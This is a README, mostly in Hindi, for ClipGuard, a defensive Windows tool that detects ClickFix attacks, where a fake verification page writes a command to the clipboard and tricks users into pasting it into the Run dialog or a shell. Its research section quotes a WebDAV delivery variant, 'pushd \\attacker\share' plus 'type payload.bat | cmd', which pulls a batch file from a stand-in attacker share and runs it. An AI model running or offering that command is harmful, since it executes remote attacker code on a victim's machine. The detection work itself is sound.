ClipGuard

Real-time detection of ClickFix clipboard injection attacks on Windows.

ClipGuard क्लिपबोर्ड गतिविधि की निगरानी करता है और संदिग्ध पेस्ट ऑपरेशन को निष्पादित होने से पहले रोकता है — विशेष रूप से ClickFix तकनीक को लक्षित करता है जहाँ नकली सत्यापन पृष्ठ उपयोगकर्ताओं को दुर्भावनापूर्ण कमांड पेस्ट करने के लिए धोखा देते हैं।

समस्या

ClickFix हमले इस प्रकार काम करते हैं:

1. एक पीड़ित नकली CAPTCHA या सत्यापन प्रॉम्प्ट दिखाने वाले पृष्ठ पर पहुँचता है
2. JavaScript चुपचाप एक दुर्भावनापूर्ण कमांड (आमतौर पर PowerShell) को क्लिपबोर्ड पर कॉपी करता है
3. पृष्ठ उपयोगकर्ता को Win+R दबाने, पेस्ट करने (Ctrl+V) और Enter दबाने का निर्देश देता है
4. उपयोगकर्ता अनजाने में स्वयं पेलोड निष्पादित कर लेता है — पारंपरिक सुरक्षा नियंत्रणों को दरकिनार करते हुए

मुख्य बात: जब JavaScript navigator.clipboard.writeText() के माध्यम से क्लिपबोर्ड पर लिखता है, तो क्लिपबोर्ड में केवल CF_UNICODETEXT होता है —जब कोई उपयोगकर्ता मैन्युअल रूप से किसी वेबपृष्ठ से टेक्स्ट चुनकर कॉपी करता है, तो ब्राउज़र क्लिपबोर्ड पर CF_UNICODETEXT और CF_HTML दोनों रखता है। ClipGuard इस प्रारूप अंतर को अपने प्राथमिक पहचान संकेतों में से एक के रूप में उपयोग करता है।

यह कैसे काम करता है

ClipGuard सिस्टम ट्रे में चलता है और कई पहचान तंत्रों को स्तरित करता है:

1. क्लिपबोर्ड उत्पत्ति ट्रैकिंग — WM_CLIPBOARDUPDATE संदेशों को सुनता है और प्रत्येक क्लिपबोर्ड परिवर्तन के लिए स्रोत प्रक्रिया, क्लिपबोर्ड प्रारूपों (CF_HTML बनाम CF_UNICODETEXT) की उपस्थिति, सामग्री की लंबाई और सामग्री का पूर्वावलोकन रिकॉर्ड करता है।

2. निष्पादन सतह पहचान — यह पहचानता है कि अग्रभूमि विंडो एक कमांड निष्पादन सतह है या नहीं: रन डायलॉग (Win+R), cmd.exe, powershell.exe, pwsh.exe, या Windows Terminal।

3. कीबोर्ड हुक (Ctrl+V अवरोधन) — एक निम्न-स्तरीय कीबोर्ड हुक (WH_KEYBOARD_LL) Ctrl+V कीस्ट्रोक्स को इंटरसेप्ट करता है। जब किसी निष्पादन सतह में ब्राउज़र-स्रोत क्लिपबोर्ड सामग्री के साथ पेस्ट का प्रयास किया जाता है, तो ClipGuard खतरे का मूल्यांकन करता है।

4. प्रारूप-आधारित निर्णय — यदि क्लिपबोर्ड सामग्री ब्राउज़र से आई है और इसमें केवल टेक्स्ट है (कोई CF_HTML नहीं), तो यह संदिग्ध के रूप में चिह्नित होता है — जो संभावित JavaScript क्लिपबोर्ड लेखन को इंगित करता है (कोई HTML संकेतक नहीं)। पेस्ट को अवरुद्ध कर दिया जाता है और उपयोगकर्ता को क्लिपबोर्ड सामग्री के साथ एक अलर्ट दिखाई देता है, इससे पहले कि वे अनुमति देने या अवरुद्ध करने का निर्णय लें।

Demo

पहचान तर्क

Clipboard updated by browser?
  -- YES: User pastes (Ctrl+V) into execution surface?
       -- YES: Clipboard has CF_UNICODETEXT only (no CF_HTML)?
            -- YES: BLOCK — Suspected ClickFix (JS clipboard write)
            -- NO:  Strict Mode on?
                 -- YES: WARN — User copy, but going to exec surface
                 -- NO:  ALLOW

समर्थित निष्पादन सतहें

• रन डायलॉग (Win+R) — विंडो क्लास #32770 + explorer.exe के तहत ComboBox चाइल्ड के माध्यम से पता लगाया जाता है
• cmd.exe — प्रक्रिया नाम मिलान
• powershell.exe / pwsh.exe — प्रक्रिया नाम मिलान
• Windows Terminal (wt.exe) — प्रक्रिया नाम मिलान

निगरानी किए जाने वाले ब्राउज़र

Edge, Chrome, Firefox, Brave, Opera, Vivaldi, Chromium, Arc

स्थापना

पूर्वापेक्षाएँ:

• Windows 10/11
• .NET 8.0 Runtime (https://dotnet.microsoft.com/download/dotnet/8.0)
• व्यवस्थापक के रूप में चलाएँ (निम्न-स्तरीय कीबोर्ड हुक के लिए आवश्यक)

स्रोत से बनाएँ:

git clone https://github.com/CertainlyP/ClipGuard.git
cd ClipGuard
dotnet build -c Release

या रिलीज़ पृष्ठ से संकलित बाइनरी डाउनलोड करें।

उपयोग

1. ClipGuard.exe को व्यवस्थापक के रूप में चलाएँ
2. ClipGuard सिस्टम ट्रे में हरे ढाल आइकन के साथ दिखाई देता है
3. ट्रे आइकन पर राइट-क्लिक करें विकल्पों के लिए: स्थिति, लॉग खोलें, सख्त मोड, बाहर निकलें

जब कोई संदिग्ध पेस्ट पहचाना जाता है, तो ClipGuard क्लिपबोर्ड सामग्री पूर्वावलोकन, स्रोत प्रक्रिया और PID, क्लिपबोर्ड प्रारूप विश्लेषण और पेस्ट को अवरुद्ध या अनुमति देने के विकल्प के साथ एक अलर्ट दिखाता है।

लॉग %APPDATA%\ClipGuard\shield.log पर लिखे जाते हैं

सीमाएँ

• कीबोर्ड हुक के लिए व्यवस्थापक विशेषाधिकारों की आवश्यकता है
• निष्पादन को अवरुद्ध नहीं करता — यह पेस्ट को इंटरसेप्ट करता है और उपयोगकर्ता को चेतावनी देता है
• वैध साइटों पर कॉपी बटन (जैसे GitHub कोड ब्लॉक) भी JS क्लिपबोर्ड लेखन का उपयोग करते हैं और अलर्ट ट्रिगर करेंगे — डिज़ाइन के अनुसार, क्योंकि उपयोगकर्ता को टर्मिनल में पेस्ट करने से पहले सत्यापित करना चाहिए
• वर्तमान में मैन्युअल टाइपिंग के बाद Win+R की निगरानी नहीं करता (केवल Ctrl+V पेस्ट)

अनुसंधान

यह उपकरण ClickFix हमले की यांत्रिकी पर मूल अनुसंधान पर आधारित है:

• पहचान संकेत के रूप में क्लिपबोर्ड प्रारूप मेटाडेटा — CF_HTML की उपस्थिति उपयोगकर्ता प्रतिलिपियों को JavaScript navigator.clipboard.writeText() कॉल से अलग करती है
• WebDAV-आधारित ClickFix वितरण श्रृंखलाएँ — pushd \attacker\share + type payload.bat | cmd वेरिएंट
• निष्पादन सतह फिंगरप्रिंटिंग — विंडो क्लास और चाइल्ड कंट्रोल गणना के माध्यम से प्रोग्रामेटिक रूप से रन डायलॉग की पहचान करना

लाइसेंस

MIT